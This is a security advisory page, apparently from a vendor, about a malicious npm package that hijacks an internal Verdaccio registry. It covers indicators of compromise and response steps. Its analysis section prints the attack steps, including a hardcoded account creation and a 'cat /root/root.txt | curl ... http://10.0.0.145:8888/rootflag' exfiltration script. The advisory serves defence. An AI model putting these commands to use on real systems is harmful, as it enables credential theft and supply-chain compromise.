Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

internallib_v557npm

internallib_v557 is a confirmed malicious npm package (MAL-2026-5678) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.1, 1.0.2, 1.0.3…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in internallib_v557 (npm)

MAL-2026-5678
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall internallib_v557

What this malware does

index.js implements a multi-step attack against an internal npm registry. On invocation of the exported command(), it: (1) creates a Verdaccio user pwn99/pwn99pass against http://0.0.0.0:4873/-/user/org.couchdb.user:pwn99 via curl PUT; (2) queries the existing uhclabs_local_check package metadata; (3) writes /tmp/pwn99/.npmrc containing a base64-encoded _auth for those credentials; (4) npm publishes a malicious [email protected] to http://0.0.0.0:4873/ whose package.json scripts.start is cat /root/root.txt | curl -s -d @- http://10.0.0.145:8888/rootflag; and (5) at every step pipes output (user-create response, version listing, publish stdout/stderr, error output) to http://10.0.0.145:8888/step{1..n} via curl. The downstream effect: any installer who later pulls uhclabs_local_check from the internal registry and runs its start script will exfiltrate the contents of /root/root.txt to the hardcoded attacker IP. The attacker also leaves a persistent publishing identity on the internal registry usable for future malicious releases of internal packages. This is a self-propagating namespace-takeover attack with a hardcoded C2 beacon and attacker-controlled persistence — there is no legitimate purpose consistent with the package's stated 'internal lib' scope.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

24 flagged
1.0.11.0.21.0.31.0.41.0.51.0.61.0.71.0.81.0.91.0.101.0.111.0.121.0.131.0.141.0.151.0.161.0.171.0.181.0.191.0.201.0.211.0.221.0.231.0.24

Indicators of compromise (SHA-256)

5cfa498f80e5965de3c072803c8d6e812e75bc5a4fb031f739cbd9c181724be3
515c59a706648511619a76984f038231fb7a377179ffc8f223fb6c6344d8022d
8a46697983d45d227ca57159302128b0003402847d4e7978650c9e7b88eb43e8
8f864aa225698875afc8ce2feefef9f46feaec9532dd0ae41a752ca0ad3ffc01
909cc0b096213d5fabf0b417a6ceb5fee4d420f19dd0777a9dd048b92552223f
a1cceaa6a553e20e294688ef48cec8478cbd75242f67b74763937cd46297379e
24753e0f7dcb30069b7e081debea1589b8f53a03f772593cf8a39886b3b22d0d
371586c765a962078a96bb0ecec7b5000a0a9783d01cc02907284ac4088ace4f
666cbd7854858b60fbed7ef9845c93ceb4d33ccf5c810b97d16d6c0fb75bda38
6df43f4bbb1c58bc26e585f209581aa8f2b1f1ffc639e5fe5f9d61bc774eeb1c
ae5880951f8d5f9562e80a80d6f54af58c7129738744d6a5627548583adf9d8e
c4b860370e48fbf532c58a1ab2734c9e75662d082a59a4684b0565b08a622304
db9ae27bb3518e5ef3e739386892f4b856fba9a4a7aeec518ddbddd914e095d5
e0b0a84585b8b97bd9b36a33c21ef65c034ce41510775a2e7ac77121a892ceaa
e743cd648f1208ebab7ad50f02509299935d363a9d5dd69fc50f6402782732bc
f58c6e76bd6d209bf6cf13052a5000c4d721c85d16f79327b55bd6874949a893
0ad3524bb951bb15ff05760def59425d5040545f3aa89cd479c2fcc644eff438
12ad882400a73a732f26c29c00d2a16377841a28fbb3fa09b596bf47a4707b24
26ab651e98275ede4899e22698958e4d97a43134a0bbb0020f567971b83451e2
275af9596caf2b68994ca8282da7e127f8a4478e07888dbae73826328b4e41f2
d04f618170995d95d6e7b8a720f4ffc9d59940c8d86ddc4e412a1f579e281f2a
4423dbd9ea4452b6b0c4e2c663c82d811718c163228f685cc528923a7d11a089
01f8e07bee9ab2ae588adc8e2a336402209278d33450747a00d2ad75ffb9e68d
8133bd16ad7c9fac9d040de9d85bf3c15c412144bfabdff113c70dc13f5d3186
db1a046ad1edff9a1f362faa34fe0cee145e2728f8f85d870b83582e614ddef3

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for internallib_v557 (24 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging internallib_v557 across your stack and pipelines.

  2. If you installed it — respond

    internallib_v557 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If internallib_v557 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks internallib_v557 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. internallib_v557 on npm has been identified as a malicious package (versions 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.8, and 16 more flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005751IN-MAL-2026-005771IN-MAL-2026-005781IN-MAL-2026-005765IN-MAL-2026-005762IN-MAL-2026-005768IN-MAL-2026-005770IN-MAL-2026-005767IN-MAL-2026-005779IN-MAL-2026-005772IN-MAL-2026-005775IN-MAL-2026-005769IN-MAL-2026-005776IN-MAL-2026-005777IN-MAL-2026-005773IN-MAL-2026-005778IN-MAL-2026-005780IN-MAL-2026-005791IN-MAL-2026-005763IN-MAL-2026-005764IN-MAL-2026-005766IN-MAL-2026-005774GHSA-945p-4458-jg48IN-MAL-2026-008982IN-MAL-2026-008984

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks internallib_v557-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

internallib_v557 (npm) malicious package — MAL-2026-5678 | O3 Security